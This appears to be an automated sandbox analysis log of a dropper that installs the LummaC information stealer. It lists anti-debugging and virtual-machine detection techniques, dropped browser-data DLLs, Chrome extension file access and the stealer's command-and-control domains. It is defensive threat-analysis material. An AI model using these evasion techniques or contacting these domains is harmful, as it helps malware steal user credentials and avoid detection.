Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Special instruction interceptor: First address: 676E9A9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Special instruction interceptor: First address: 6756C68 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Special instruction interceptor: First address: 6B3E9A9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Special instruction interceptor: First address: 6B26C68 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	Special instruction interceptor: First address: C1496A instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	Special instruction interceptor: First address: A4ED59 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	Special instruction interceptor: First address: C7AF21 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Memory allocated: 4920000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Memory allocated: 4AF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Memory allocated: 4920000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Memory allocated: 5290000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Memory allocated: 5480000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Memory allocated: 52C0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_051B02D7 rdtsc

0_2_051B02D7

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 2444			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 2911			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4564	Thread sleep count: 69 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4564	Thread sleep time: -138069s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5752	Thread sleep count: 61 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5752	Thread sleep time: -122061s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3872	Thread sleep count: 345 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3872	Thread sleep time: -10350000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4476	Thread sleep count: 62 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4476	Thread sleep time: -124062s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5816	Thread sleep count: 55 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5816	Thread sleep time: -110055s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5264	Thread sleep count: 2444 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5264	Thread sleep time: -4890444s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2004	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6500	Thread sleep count: 2911 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6500	Thread sleep time: -5824911s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6500	Thread sleep count: 240 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6500	Thread sleep time: -480240s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1196	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe TID: 7020	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe TID: 3084	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe TID: 3752	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe TID: 5980	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe TID: 2676	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe TID: 7368	Thread sleep count: 136 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe TID: 7368	Thread sleep time: -816000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe TID: 1888	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe TID: 1440	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe TID: 340	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe TID: 2128	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe TID: 7652	Thread sleep count: 81 > 30
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe TID: 7652	Thread sleep time: -486000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe TID: 4136	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe TID: 1364	Thread sleep count: 130 > 30
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe TID: 1364	Thread sleep time: -780000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe TID: 7628	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe TID: 7884	Thread sleep time: -270000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe TID: 8168	Thread sleep count: 56 > 30
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe TID: 8168	Thread sleep time: -336000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmp, 44e053de15.exe, 44e053de15.exe, 00000007.00000002.2986264615.0000000006725000.00000040.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000002.2955841766.0000000000E91000.00000040.00000001.01000000.00000009.sdmp, 44e053de15.exe, 00000007.00000002.2963311697.000000000123F000.00000004.00000020.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2794592065.00000000004A5000.00000040.00000001.01000000.0000000A.sdmp, 44e053de15.exe, 0000000B.00000002.2920541511.0000000000E91000.00000040.00000001.01000000.00000009.sdmp, 44e053de15.exe, 0000000B.00000002.2934638761.0000000006AF5000.00000040.00000800.00020000.00000000.sdmp, 803fbc23e3.exe, 0000000F.00000002.2715226253.0000000000A32000.00000040.00000001.01000000.00000013.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: chrome.exe, 0000000C.00000002.2662546543.000039D402D28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: 44e053de15.exe, 00000007.00000002.2963311697.000000000123F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware4D
Source: chrome.exe, 0000000C.00000002.2670344133.000039D40320C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB Mouse
Source: 44e053de15.exe, 00000007.00000002.2975945887.0000000004770000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__t\WindowsNSClientetersk\9375CFF0413111d3B88A00104B2A6676\00000001ook\9375CFF0413111d3B88A00104B2A6676\00000002413111d3B88A00104B2A6676\00000003\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\WindowsNSClienttrictions\PayloadD}tions\REGIS\RE\REGISTRY\MACHINE\\Registry\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows
Source: 44e053de15.exe, 0000000B.00000002.2926159321.0000000001669000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareZ
Source: chrome.exe, 0000000C.00000002.2669527714.000039D403100000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=41a9ee90-7158-4bbe-b589-2dcc0d61955f
Source: skotes.exe, 00000006.00000002.2962563702.0000000001318000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2962563702.0000000001347000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000003.2421327250.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000002.2963311697.00000000011F5000.00000004.00000020.00020000.00000000.sdmp, 932a9eb371.exe, 00000008.00000002.2797456590.0000000001092000.00000004.00000020.00020000.00000000.sdmp, 44e053de15.exe, 0000000B.00000002.2926159321.00000000015F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 44e053de15.exe, 0000000B.00000002.2926159321.0000000001669000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: chrome.exe, 0000000C.00000002.2635239310.00000220B2DEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllaao
Source: 44e053de15.exe, 0000000B.00000002.2926159321.000000000158B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: file.exe, 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1743870213.0000000000B80000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1745665457.0000000000B80000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmp, 44e053de15.exe, 00000007.00000002.2986264615.0000000006725000.00000040.00000800.00020000.00000000.sdmp, 44e053de15.exe, 00000007.00000002.2955841766.0000000000E91000.00000040.00000001.01000000.00000009.sdmp, 932a9eb371.exe, 00000008.00000002.2794592065.00000000004A5000.00000040.00000001.01000000.0000000A.sdmp, 44e053de15.exe, 0000000B.00000002.2920541511.0000000000E91000.00000040.00000001.01000000.00000009.sdmp, 44e053de15.exe, 0000000B.00000002.2934638761.0000000006AF5000.00000040.00000800.00020000.00000000.sdmp, 803fbc23e3.exe, 0000000F.00000002.2715226253.0000000000A32000.00000040.00000001.01000000.00000013.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 44e053de15.exe, 00000007.00000002.2963311697.000000000118E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 932a9eb371.exe, 00000008.00000002.2797456590.0000000001064000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWxz

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_1-10037
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_1-10025
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_2-10053
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_2-10047

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_051B0278 Start: 051B02AA End: 051B02B4

0_2_051B0278

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_051B02D7 rdtsc

0_2_051B02D7

Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe

Code function: 7_2_00CF0F10 LdrInitializeThunk,

7_2_00CF0F10

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C4652B mov eax, dword ptr fs:[00000030h]	0_2_00C4652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C4A302 mov eax, dword ptr fs:[00000030h]	0_2_00C4A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_009CA302 mov eax, dword ptr fs:[00000030h]	1_2_009CA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_009C652B mov eax, dword ptr fs:[00000030h]	1_2_009C652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_009CA302 mov eax, dword ptr fs:[00000030h]	2_2_009CA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_009C652B mov eax, dword ptr fs:[00000030h]	2_2_009C652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_009CA302 mov eax, dword ptr fs:[00000030h]	6_2_009CA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_009C652B mov eax, dword ptr fs:[00000030h]	6_2_009C652B

Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe

Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 44e053de15.exe PID: 3288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 932a9eb371.exe PID: 3980, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 44e053de15.exe PID: 5180, type: MEMORYSTR

LummaC encrypted strings found

Source: 44e053de15.exe	String found in binary or memory: navygenerayk.store
Source: 44e053de15.exe	String found in binary or memory: scriptyprefej.store
Source: 44e053de15.exe	String found in binary or memory: necklacedmny.store
Source: 44e053de15.exe	String found in binary or memory: founpiuer.store
Source: 44e053de15.exe	String found in binary or memory: fadehairucw.store
Source: 44e053de15.exe	String found in binary or memory: thumbystriw.store
Source: 44e053de15.exe	String found in binary or memory: presticitpo.store
Source: 44e053de15.exe	String found in binary or memory: crisiwarny.store

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe "C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe"	Jump to behavior
